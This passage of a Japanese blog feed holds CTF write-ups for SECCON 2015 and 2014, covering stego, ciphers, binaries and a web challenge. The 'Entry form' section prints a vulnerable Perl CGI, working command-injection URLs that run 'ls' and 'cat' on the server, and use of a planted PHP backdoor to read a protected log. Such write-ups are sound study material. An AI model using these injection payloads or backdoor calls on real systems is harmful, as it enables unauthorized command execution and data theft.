&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Good&lt;/span&gt; &lt;span class="n"&gt;luck&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $0}&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;awk&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Operation&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;permitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;join&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;uniq&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;uniq&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t open &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;: Operation not permitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;s/s//&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;shown&lt;/span&gt; &lt;span class="n"&gt;below&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SECCON&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CaitSith&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;AQUA&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;この問題はこれで良かったのでしょうか・・？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry form (Web/Network) 100点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;あるCGIを叩くとフォームがでます。どうもインジェクションの問題のようです。 直接GETパラメタにいろんな値を設定してもエラーらしきものは出ません。エラーチェックしていないのかそれともわざと何も出していないのか。 試しに、cgiのパスを指定しないでアクセスすると、あっ・・・ &lt;img alt="entry_form1.png" class="gallery-image" data-flex-basis="404px" data-flex-grow="168" height="245" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up/images/entry_form1.png" width="413"&gt; 丸見えでございます。CGIのバックアップと思われる.bakファイルがあるのでこれをクリックするとcgiのソースが見えました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;　：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if($q-&amp;gt;param(&amp;#34;mail&amp;#34;) ne &amp;#39;&amp;#39; &amp;amp;&amp;amp; $q-&amp;gt;param(&amp;#34;name&amp;#34;) ne &amp;#39;&amp;#39;) {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;open(SH, &amp;#34;|/usr/sbin/sendmail -bm &amp;#39;&amp;#34; . $q-&amp;gt;param(&amp;#34;mail&amp;#34;) . &amp;#34;&amp;#39;&amp;#34; );
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print SH &amp;#34;From: xxxx.xxxxx\@seccon.jp\nTo: &amp;#34;.$q-&amp;gt;param(&amp;#34;mail&amp;#34;).&amp;#34;\nSubject: from SECCON Entry Form\n\nWe received your entry.\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;close(SH);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;open(LOG, &amp;#34;&amp;gt;&amp;gt;log&amp;#34;); ### param(&amp;#34;mail&amp;#34;).&amp;#34;\t&amp;#34;.$q-&amp;gt;param(&amp;#34;name&amp;#34;).&amp;#34;\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;close(LOG);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;本番もこれに近いものだろうと思われます。logファイルにflagがあるというヒントもありますね。 こういう書き方ですから、こうやればいいのでしょうか？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://entryform.pwn.seccon.jp/register.cgi?name=d&amp;amp;action=Send&amp;amp;mail=%27+|+ls+-alR+%23
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ビンゴでございます。ディレクトリの内容が表示できました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;total 2016
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dr-xr-xr-x 3 cgi cgi 4096 Dec 1 22:29 .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-xr-x 4 root root 4096 Dec 1 22:57 ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r--r--r-- 1 root root 221 Dec 5 15:18 .htaccess
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dr-xr-xr-x 2 root root 4096 Dec 1 21:52 SECRETS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r---w---- 1 apache cgi 2028064 Dec 5 23:33 log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r--r--r-- 1 root root 1132 May 15 2015 logo.png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r-xr-xr-x 1 cgi cgi 1631 Dec 5 20:32 register.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r--r--r-- 1 root root 1583 Dec 1 22:25 register.cgi_bak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./SECRETS:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;total 16
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dr-xr-xr-x 2 root root 4096 Dec 1 21:52 .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dr-xr-xr-x 3 cgi cgi 4096 Dec 1 22:29 ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r--r--r-- 1 root root 42 Dec 1 21:52 backdoor123.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-r--r--r-- 1 root root 19 Dec 1 21:52 index.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;.htaccessも見ちゃいます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;entryform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pwn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seccon&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cgi&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Send&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;+|+&lt;/span&gt;&lt;span class="n"&gt;cat&lt;/span&gt;&lt;span class="o"&gt;+.&lt;/span&gt;&lt;span class="n"&gt;htaccess&lt;/span&gt;&lt;span class="o"&gt;+%&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Order&lt;/span&gt; &lt;span class="n"&gt;allow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;deny&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Deny&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Satisfy&lt;/span&gt; &lt;span class="n"&gt;All&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#AuthUserFile /var/www/.htpasswd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#AuthGroupFile /dev/null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#AuthName &amp;#34;entryform.pwn&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#AuthType Basic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Require valid-user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Order deny,allow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ここには大したものはありませんでした。 同様にlogファイルを見ようとしたところ、残念ながらパーミッションで見えませんでした。 気になるのは、SECRETにあるbackdoor123.phpです。この内容をみてみます。 &lt;img alt="backdoor.png" class="gallery-image" data-flex-basis="1363px" data-flex-grow="568" height="44" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up/images/backdoor.png" width="250"&gt; はあ？ これはバックドアじゃないですか！ これをこんな感じに使えばいいのかな？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat+..%2Flog
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Webブラウザから実行すると。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;**FLAG**
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SECCON{Glory_will_shine_on_you.}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;********
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipfish@example.com	Smith
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipfish@example.com	Smith
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skipfish@example.com	Smith
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;flagが取れました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Steganography 1 (Stegano) 100点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;MrFusion.gpjbというファイルが添付されていました。なんとなく、GIF、PNG、JPEG、BMPの頭文字をとったような拡張子です。 ファイルの中身をバイナリエディターでざっとみたところ、よく見かける画像系のヘッダがあちこちにあり、複数の画像データを結合したファイルのようです。 一般的な画像系のファイルヘッダの先頭のバイトは以下のようになっています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JPEG　 FF D8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PNG　　89 50 4E 47
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GIF　　47 49 46 38
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BMP　　42 51
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;このバイト列をバイナリエディタで検索してマークをつけ、そのアドレスをメモしました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000000 GIF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00001B1F PNG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000025FF JPG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00006808 BMP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002A983E GIF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002AA300 PNG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002AAAB9 JPG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002AEEBB BMP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00551EF1 GIF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00552860 PNG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00553212 JPG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;005577C5 BMP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;007FA7FB GIF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;007FB2BE PNG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;007FBEDC JPG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;007FFF21 最後のデータ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;添付ファイルからこのアドレスに沿ってデータを抜き出すプログラムをCで作成しました。 いつものように超適当に作ったものですが、GitHubにコミットしておきました。 &lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/ctffile.c" title="ctffile.c"
 target="_blank" rel="noopener"
 &gt;https://github.com/kanpapa/ctf/blob/master/ctffile.c&lt;/a&gt; このプログラムを実行して作成されたファイルout0.bin〜out14.binを以下のスクリプトでリネームしました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./a.out
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out0.bin out0.gif
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out1.bin out1.png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out2.bin out2.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out3.bin out3.bmp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out4.bin out4.gif
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out5.bin out5.png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out6.bin out6.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out7.bin out7.bmp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out8.bin out8.gif
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out9.bin out9.png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out10.bin out10.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out11.bin out11.bmp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out12.bin out12.gif
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out13.bin out13.png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv out14.bin out14.jpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これらの画像ファイルで表示される画像を重ね合わせてflagが取れました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Challenge (Thank you for playing) Exercises 50点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最後のおまけ問題です。暗号表がありますので１文字づつ比較して復号しました。&lt;/p&gt;
&lt;p&gt;今回が３回目のCTFですが、依然として600点〜700点をうろうろしています。 途中トラックボールが故障したり、VMwareのdebianがハングアップしたりなどいろいろありました。 また画像系のツールを準備していなかったのでQRコードなど手がつけられなかったのが残念です。 他の参加者の皆様のWrite-Upを参考にして次回に備えたいと思います。運営の皆様もお疲れさまでした。&lt;/p&gt;</description></item><item><title>SECCON 2014 online CTF 予選のWrite-upをまとめました</title><link>https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup.html</link><pubDate>Sun, 07 Dec 2014 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup.html</guid><description>&lt;img src="https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup/images/ucom82_manual.jpg" alt="Featured image of post SECCON 2014 online CTF 予選のWrite-upをまとめました" /&gt;&lt;p&gt;前回CTF予選に初参加しましたが、面白かったので今回のCTF予選にも参加してみました。&lt;/p&gt;
&lt;p&gt;解いた問題は以下の７つの100点問題です。合計で700点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Welcome to SECCON（Start）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Easy Cipher（Crypto）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shuffle（Binary）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reverse it（Binary）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get the key.txt（Forensics）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose the number（Programming）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get the key（Network）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;200点問題にもチャレンジしてみましたが、こちらは途中で時間切れとなってしまいました。&lt;/p&gt;
&lt;p&gt;今回もCTF初心者ならではの100点問題ばかりのWrite-upを書いてみました。&lt;/p&gt;
&lt;h2 id="welcome-to-secconstart"&gt;&lt;strong&gt;Welcome to SECCON（Start）&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;いつもの練習用の問題で、単純にFlagを入力するだけです。&lt;/p&gt;
&lt;h2 id="easy-ciphercrypto"&gt;&lt;strong&gt;Easy Cipher（Crypto）&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;問題には以下のような数字の羅列が書かれていました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 .....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;規則性がみられます。&amp;ldquo;1100011&amp;quot;などの7桁の数字は0と1しかありません。これは２進数でしょう。 &amp;ldquo;0145&amp;quot;とか&amp;quot;0157&amp;quot;の４桁の数字は、7を超える数字がありません。また頭に0がついていて、８進数の書き方に見えます。これは８進数と想定しました。 &amp;ldquo;6d&amp;rdquo; とかはこれは16進数ですね。これ以外の数字は10進数と想定しました。&lt;/p&gt;
&lt;p&gt;このルールで数字を全部16進数に変換して、バイナリエディタに入力しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 06053
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;53 45 43 43 4f 4e 7b 57 33 31 43 30 4d 20 37 30
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S E C C O N { W 3 1 C 0 M 7 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;20 37 48 33 20 35 33 43 43 30 4e 20 5a 4f 49 41 7d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7 H 3 5 3 C C 0 N Z O I A }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最後のあたりにフラグがありました。&lt;/p&gt;
&lt;h2 id="shufflebinary"&gt;&lt;strong&gt;Shuffle&lt;/strong&gt;（Binary）****
&lt;/h2&gt;&lt;p&gt;提供されたファイルをLinuxのfileコマンドで確認しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file shuffle
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;shuffle: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
